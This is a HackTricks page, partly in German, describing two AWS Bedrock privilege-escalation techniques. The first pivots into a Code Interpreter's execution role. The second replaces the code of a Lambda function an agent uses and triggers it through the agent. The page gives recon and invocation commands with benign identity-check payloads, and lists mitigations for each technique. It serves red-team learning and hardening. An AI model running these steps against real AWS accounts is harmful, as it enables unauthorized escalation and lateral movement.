AWS - Bedrock PrivEsc

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Amazon Bedrock AgentCore

bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot

AgentCore Code Interpreter ist eine verwaltete Ausführungsumgebung. Custom Code Interpreters können mit einem executionRoleArn konfiguriert werden, der „Berechtigungen bereitstellt, damit der code interpreter auf AWS services zugreifen kann“.

Wenn ein niedriger privilegierter IAM principal eine Code Interpreter-Session starten + aufrufen kann, die mit einer höher privilegierten execution role konfiguriert ist, kann der Aufrufer effektiv in die Berechtigungen der execution role pivotieren (lateral movement / privilege escalation, abhängig vom Umfang der Rolle).

Note

Dies ist typischerweise ein misconfiguration / excessive permissions-Problem (zu breite Berechtigungen für die interpreter execution role und/oder zu weit gefasster invoke access). AWS warnt ausdrücklich davor, privilege escalation zu vermeiden, indem sichergestellt wird, dass execution roles gleiche oder weniger Privilegien haben als die Identitäten, die sie aufrufen dürfen.

Preconditions (common misconfiguration)

  • Es existiert ein custom code interpreter mit einer überprivilegierten execution role (z. B. Zugriff auf sensible S3/Secrets/SSM oder IAM-admin-like capabilities).
  • Ein Benutzer (developer/auditor/CI identity) hat Berechtigungen für:
  • Sessions starten: bedrock-agentcore:StartCodeInterpreterSession
  • Tools aufrufen: bedrock-agentcore:InvokeCodeInterpreter
  • (Optional) Der Benutzer kann auch Interpreter erstellen: bedrock-agentcore:CreateCodeInterpreter (erlaubt das Erstellen eines neuen Interpreters, der mit einer execution role konfiguriert ist, abhängig von den org guardrails).

Recon (identify custom interpreters and execution role usage)

List interpreters (control-plane) and inspect their configuration:

aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>

Der Befehl create-code-interpreter unterstützt --execution-role-arn, der festlegt, welche AWS-Berechtigungen der Interpreter haben wird.

Schritt 1 - Starte eine Session (dies gibt eine sessionId zurück, keine interaktive Shell)

SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)

echo "SessionId: $SESSION_ID"

Schritt 2 - Codeausführung ausführen (Boto3 oder signiertes HTTPS)

Es gibt keine interaktive python shell von start-code-interpreter-session. Die Ausführung erfolgt über InvokeCodeInterpreter.

Option A - Boto3-Beispiel (Python ausführen + Identität verifizieren):

import boto3

client = boto3.client("bedrock-agentcore", region_name="<REGION>")

# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)

# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)

Wenn der Interpreter mit einer Ausführungsrolle konfiguriert ist, sollte die Ausgabe von sts:GetCallerIdentity() die Identität dieser Rolle widerspiegeln (nicht die des Low-Priv-Aufrufers), was den Pivot demonstriert.

Option B - Signed HTTPS call (awscurl):

awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'

Impact

  • Lateral movement in whatever AWS access the interpreter execution role has.
  • Privilege escalation if the interpreter execution role is more privileged than the caller.
  • Schwerere Erkennung, wenn CloudTrail data events für interpreter invocations nicht aktiviert sind (Invocations werden je nach Konfiguration möglicherweise nicht standardmäßig geloggt).

Mitigations / Hardening

  • Least privilege auf dem interpreter executionRoleArn (behandle es wie Lambda execution roles / CI roles).
  • Restrict who can invoke (bedrock-agentcore:InvokeCodeInterpreter) und wer Sessions starten kann.
  • Verwende SCPs, um InvokeCodeInterpreter zu verweigern, außer für genehmigte agent runtime roles (org-level enforcement kann notwendig sein).
  • Aktiviere passende CloudTrail data events für AgentCore, wo anwendbar; alarmiere bei unerwarteten invocations und session creation.

Amazon Bedrock Agents

lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda

Bedrock Agents können Lambda-backed action groups als tools (external execution) verwenden. Wenn ein principal den Code einer von einem agent verwendeten Lambda function ändern kann und anschließend den agent invokieren kann, kann er attacker-controlled code unter der Lambda execution role ausführen.

Note

Dies ist ein cross-service trust abuse (Bedrock → Lambda), keine vulnerability. Der attacker kann die Lambda möglicherweise nicht direkt invokieren, aber sie trotzdem über den agent triggern.

Preconditions (common misconfiguration)

  • Ein Bedrock Agent existiert mit einer action group, die von einer Lambda function unterstützt wird
  • Der attacker hat:
  • lambda:UpdateFunctionCode
  • bedrock:InvokeAgent
  • Die Lambda execution role hat breitere permissions als der attacker
  • Der attacker kann die vom agent verwendete Lambda identifizieren

Recon

Enumerate agent action groups:

aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT

Lambda inspizieren:

aws lambda get-function --function-name <FUNCTION_NAME>

Exploitation

Lambda-Code ersetzen:

zip payload.zip lambda_function.py

aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip

Beispiel-Payload:

import boto3

def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()

Via Agent auslösen:

aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"

Impact

  • Privilege escalation into Lambda execution role
  • Data exfiltration from AWS services
  • Cross-service abuse via trusted agent execution

Mitigations

  • Restrict lambda:UpdateFunctionCode
  • Use least-privilege Lambda roles
  • Monitor Lambda code changes
  • Audit Bedrock agent tool usage

References

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks